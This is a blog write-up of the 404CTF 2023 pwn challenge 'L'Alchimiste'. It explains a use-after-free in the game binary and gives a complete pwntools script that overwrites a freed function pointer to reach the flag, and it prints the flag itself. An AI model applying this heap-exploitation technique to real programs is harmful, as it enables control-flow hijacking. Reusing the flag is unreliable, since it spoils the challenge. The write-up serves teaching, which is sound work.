Home CTFs | 404CTF_2023 | Pwn | L'Alchimiste
Post
Cancel

CTFs | 404CTF_2023 | Pwn | L'Alchimiste

L’Alchimiste

image

For this challenge, we are given this executable. We can open it on Ghidra and/or run it to understand how it works.

image

Recognition

As we can see, we have multiple options. I first tried to buy a strength potion and to use it multiple time:

image

As we can see, we have a double free error. This is because, when we use the strength potion, we call the useItem function that does the following:

image

As we can see, we free the memory at the location of param_1+0x10. If we look at the character creation, we can see that it is the address of the function located after the initial parameter:

image

param1 is the strength, param2 is the intelligence and param3 is the gold.

To better understand why this is a function, we can look at the buyStrUpPotion function:

image

Increase Strength

As we can see, we set puVar1 some values and the last value of puVar1 is the function incStr that increase the strength by 10. We can also notice that the function incStr is set even if we don’t have enough money to buy the strength potion. So we can use repeatedly the option 1 to buy the potion and then use the option with the option 2. This will allow us to get any amount of strength we want:

image

As we can see, we now have 230 of strength. Let’s have a look at how to get the flag… This is what we are here fore XD:

image

How to get the flag

As we cans see, we need *param_1 >= 0x96 and param[1] >= 0x96 where 0x96 is equal to 150 in decimal and those parameters are the strength and the intelligence as we saw earlier.

Note that *param <=> param_1[0].

We have solved the problem of the strength, but what about the intelligence??? There is no function in the program that calls the incInt to do the same thing as for the strength…

Increase Intelligence

After a bit of digging, I found something called use after free. As we saw earlier, the memory is free when we call the useItem function, but the memory is not set as null before. This is great, at least for us XD.

We now can try to override the address of the function incStr with the address of incInt after the free of the useItem. If we manage to do so, the address of incInt will be at the same memory location than the previous incStr. Then the call of useItem will think that it is calling the incStr but it will be calling incInt.

Let’s see how to this now. For that we need to head back to the buyStrPotion. This function will set the address of the incStr function int puVar1[8] but if we look at the assembly code, we can see that it is at the position +0x40.

image

We can then try to override the first 64 (0x40) characters and then put the address of incInt that can be found in Ghidra. But for this to work, we need to call the option 3 that will do a malloc on the same memory location that was previously free with option 2.

POC

The final code I used is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
warnings.filterwarnings("ignore", category=BytesWarning)
#io = process("./l_alchimiste")
HOST, PORT = "challenges.404ctf.fr", 30944 
io = remote(HOST, PORT)

def getStrength():
	io.recvuntil(">>> ")
	io.sendline("2")
	io.recvuntil(">>> ")
	io.sendline("1")

def checkStrength():
	io.recvuntil(">>> ")
	io.sendline("4")
	text = io.recvuntil("1:")
	print(text)
	if b"FOR: 160" in text:
		return 1
	else:
		return 0

def setInteligence():
	io.recvuntil(">>> ")
	io.sendline("2")

	io.recvuntil(">>> ")
	io.sendline("3")
	io.recvuntil("[Vous] : ")
	io.sendline(b"a"*0x40+p64(0x004008d5))

	io.recvuntil(">>> ")
	io.sendline("1")

def checkInteligence():
	io.recvuntil(">>> ")
	io.sendline("4")
	text = io.recvuntil("1:")
	print(text)
	if b"INT: 160" in text:
		return 1
	else:
		return 0

io.recvuntil(">>> ")
io.sendline("1")
okStr = 0
while okStr != 1:
	getStrength()
	okStr = checkStrength()

okInt = 0 
while okInt != 1:
	okInt = checkInteligence()
	setInteligence()
io.recvuntil(">>> ")
io.sendline("5")
print(io.recvline().decode())
print(io.recvline().decode())
print("Flag: ", io.recvline().decode())

If we run it locally, we get:

image

As we can see, we get the test flag we created. We can now run it on the remote host and get the flag:

image

The flag is 404CTF{P0UrQU01_P4Y3r_QU4ND_135_M075_5UFF153N7}

This post is licensed under CC BY 4.0 by the author.